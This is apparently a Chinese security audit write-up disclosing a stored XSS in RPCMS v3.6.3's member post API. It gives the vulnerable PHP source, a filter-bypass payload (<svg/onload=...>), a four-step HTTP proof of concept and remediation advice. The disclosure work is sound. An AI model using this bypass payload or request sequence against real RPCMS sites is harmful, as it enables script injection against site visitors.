CNVD-2026-31734 RPCMS_XSS审计全流程

1、前言

RPCMS 是一款基于 PHP + MySQL 的轻量型内容管理/博客系统,支持 PHP 5.6 以上,以模板标签驱动、插件扩展丰富为特点。本文针对其版本 v3.6.3 进行源码审计,从入口路由一路跟到模板输出层,共发现 1 处安全问题:会员发帖功能存在存储型 XSS。该漏洞需要开启 API 功能(api_status=1),默认关闭。

2. 审计流程

2.1 匿名用户注册

在 api 模块下存在文件 Member.class.php,其中存在注册用户函数 register():

实现代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public function register(){
$data=array();
$data['username']=!empty(input('post.username')) ? strip_tags(input('post.username')) : '';
$data['password']=!empty(input('post.password')) ? strip_tags(input('post.password')) : '';
$data['nickname']=!empty(input('post.nickname')) ? strip_tags(input('post.nickname')) : $data['username'];
$data['role']='member';
$data['email']=input('post.email');
$data['phone']=input('post.phone');
$data['status']=0;
$data['isCheck']=1;
if(empty($data['username'])){
$this->response('',401,'用户名不能为空');
}
if(empty($data['password'])){
$this->response('',401,'密码不能为空');
}
if(strlen($data['password']) < 6){
$this->response('',401,'密码至少6位');
}
if(!empty($data['email']) && !checkForm('email',$data['email'])){
$this->response('',401,'邮箱格式不正确');
}
if(!empty($data['phone']) && !checkForm('phone',$data['phone'])){
$this->response('',401,'手机号码格式不正确');
}
if(!empty($data['email']) && Db::name('user')->where("email='".$data['email']."'")->find()){
$this->response('',401,'该邮箱已注册');
}
if(!empty($data['phone']) && Db::name('user')->where("phone='".$data['phone']."'")->find()){
$this->response('',401,'该手机号已注册');
}
if(Db::name('user')->where(array('username'=>$data['username']))->find()){
$this->response('',401,'用户名已存在');
}
if(Db::name('user')->where(array('nickname'=>$data['nickname']))->find()){
$this->response('',401,'昵称重复,请更改');
}
$data['password']=psw($data['password']);
$res=Db::name('user')->insert($data);
Cache::update('user');
Hook::doHook('api_member_register',array($res));
$this->response($res,200,'注册成功!');
}

可通过该 api 直接注册用户:

1
2
3
4
5
6
7
8
POST /api/member/register HTTP/1.1
Host: 127.0.0.1:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Connection: close

username=burp_test&password=burp123456&nickname=burp%E7%94%A8%E6%88%B7&email=burp%40test.com&phone=13800001111
2.2 会员登录

由于漏洞点出在发帖的功能,需要登录用户,定位到 login 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function login(){
$username=input('post.username','');
$password=input('post.password','');
if(empty($username) || empty($password)){
$this->response('',401,'用户名或密码不能为空');
}
if(checkForm('email',$username)){
$member=Db::name('user')->where(array('email'=>$username,'role'=>array('in','admin,member')))->find();
}else{
$member=Db::name('user')->where(array('username'=>$username,'role'=>array('in','admin,member')))->find();
}
if(empty($member) || $member['password'] != psw($password)){
$this->response('',401,'用户名或密码错误');
}
if($member['status'] != 0){
$this->response('',401,'该账户已被禁用');
}
$data=array(
'id'=>$member['id'],
'username'=>$member['username'],
);
session('MEUSER',$data);
$token=$this->setToken($member);
Hook::doHook('api_member_login',array($token));
$this->response($token,200,'登录成功!');
}

发送请求包:

1
2
3
4
5
6
7
POST /api/member/login HTTP/1.1
Host: 127.0.0.1:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close

username=burp_test&password=burp123456

可以显示登录成功,响应头里返回 Set-Cookie: PHPSESSID=xxxx。

2.3 存储型 XSS 的路由:发帖函数

发帖对应的是 api 模块下的 Logs.class.php::post():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public function post(){
$this->chechAuth(true);
$param=input('post.');
$default=array(
'id'=>0,
'title'=>'',
'content'=>'',
'excerpt'=>'',
'keywords'=>'',
'cateId'=>'',
'authorId'=>'',
'specialId'=>'',
'alias'=>'',
'password'=>'',
'template'=>'',
'createTime'=>'',
'isTop'=>'',
'isRemark'=>'',
'extend'=>'',
'tagesName'=>'',
'status'=>0,
'type'=>3,
);
$param=array_merge($default,$param);
$logid=intval($param['id']) ? intval($param['id']) : 0;
if(self::$user['role'] != 'admin'){
$param['authorId']=self::$user['id'];
}
if(!empty($logid) && self::$user['role'] != 'admin'){
$data=Db::name('logs')->where(array('id'=>$logid))->field('authorId')->find();
(empty($data) || $data['authorId'] != self::$user['id']) && $this->response('',401,'无权限操作!');
}
$data=array();
$data['title']=strip_tags($param['title']);
$data['content']=clear_html($param['content'],array('script'));
if(empty($data['title'])){
$this->response('',401,'标题不能为空!');
}
if(empty($data['content'])){
$this->response('',401,'正文不能为空!');
}
$data['excerpt']=!empty(strip_tags($param['excerpt'])) ? preg_replace('/\s/u','',strip_tags($param['excerpt'])) : getContentByLength($param['content']);
$data['keywords']=str_replace(',',',',strip_tags($param['keywords']));
$data['cateId']=intval($param['cateId']);
$data['authorId']=intval($param['authorId']);
$data['specialId']=intval($param['specialId']);
$data['alias']=strip_tags($param['alias']);
$data['password']=strip_tags($param['password']);
$data['template']=strip_tags($param['template']);
$data['createTime']=!empty($param['createTime']) ? date('Y-m-d H:i:s',strtotime($param['createTime'])) : date('Y-m-d H:i:s');
$data['updateTime']=date('Y-m-d H:i:s');
$data['isTop']=!empty($param['isTop']) ? intval($param['isTop']) : 0;
$data['isRemark']=!empty($param['isRemark']) ? intval($param['isRemark']) : 0;
$data['extend']=$this->extendPost($param);
$data['status']=intval($param['type']) == 3 ? intval($param['status']) : intval($param['type']);
...
$logid=Db::name('logs')->insert($data);
...
$this->response($logid,200,'操作成功!');
}

定位 content 参数的过滤函数 clear_html(),这是一个过滤 XSS 的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function clear_html($content, $tages, $retainContent=false){
$preg=[];
if($tages == 'all'){
return strip_tags($content);
}
$retain=$retainContent ? '[^>]*>' : '';
$replace=$retainContent ? '$1' : '';
foreach($tages as $tag){
$preg[]='@<'.$tag.$retain.'(.*?)</'.$tag.'>@is';
}
$content = preg_replace($preg, $replace, $content);
$preg=[];
if(in_array('img', $tages)){
$content = preg_replace('@<img(.*?)>@is', '', $content);
}
if(in_array('script', $tages)){
$preg[]='/javascript:((?!;)(?!void\(0\)).)+/si';
$preg[]='/vbscript:/si';
$preg[]='/ on([a-z]+)=([^\> ]*)/si';
$replace=[
'javascript:',
'javascript:;',
'',
];
$content = preg_replace($preg, $replace, $content);
}
return $content;
}

先看看这个函数做了什么:

  • $content:要清洗的 HTML
  • $tages:要处理的标签,'all' 或标签名数组(如 array('script')、array('img'))
  • $retainContent:是否保留标签内部文本(true=拆壳留内容,false=整块删除)

其中最关键的一条正则:

1
$preg[]='/ on([a-z]+)=([^\> ]*)/si';

它把「空格 + on + 若干字母 + = + 值」这样的内联事件属性删掉。注意它的两个限制:

  1. 事件属性前必须是字面空格(/、Tab、换行都不算);
  2. onxxx 与 = 之间不能有空白。

因此用 / 代替空格即可绕过,例如:

1
<svg/onload=alert(document.domain)>

这里所有调用点传的都是 script 标签:

1
$data['content']=clear_html($param['content'],array('script'));

即只对 script 做了限制,传入上面的 payload 即可绕过黑名单。

发送发帖包:

1
2
3
4
5
6
7
8
POST /api/logs/post HTTP/1.1
Host: 127.0.0.1:8083
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=xxxxxxxx
Content-Type: application/x-www-form-urlencoded
Connection: close

title=xsspoc&content=<svg/onload=alert(document.domain)>&type=3&status=0&cateId=0&tagesName=

访问触发:

1
2
GET /post/21 HTTP/1.1
Host: 127.0.0.1:8083
POC 四步
1. 注册
1
2
3
4
5
6
7
8
POST /api/member/register HTTP/1.1
Host: 127.0.0.1:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Connection: close

username=burp_test&password=burp123456&nickname=burp%E7%94%A8%E6%88%B7&email=burp%40test.com&phone=13800001111
2. 登录
1
2
3
4
5
6
7
POST /api/member/login HTTP/1.1
Host: 127.0.0.1:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close

username=burp_test&password=burp123456
3. 发帖
1
2
3
4
5
6
7
8
POST /api/logs/post HTTP/1.1
Host: 127.0.0.1:8083
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=xxxxxxxx # 上一步拿到的 session
Content-Type: application/x-www-form-urlencoded
Connection: close

title=xsspoc&content=<svg/onload=alert(document.domain)>&type=3&status=0&cateId=0&tagesName=
4. 访问触发
1
2
GET /post/21 HTTP/1.1
Host: 127.0.0.1:8083

访问 /post/21 即可弹出 alert(document.domain)。

修复建议:

  • 使用 HTMLPurifier 等白名单库代替手写过滤函数(黑名单正则不可靠)。
  • 输出端按用途处理:富文本正文确保入库前已白名单净化,非富文本字段统一转义,避免 |raw。
  • 添加 CSP 响应头,从浏览器层面阻断内联脚本执行。
  • 会话 Cookie 加 HttpOnly,会员发帖默认进入审核。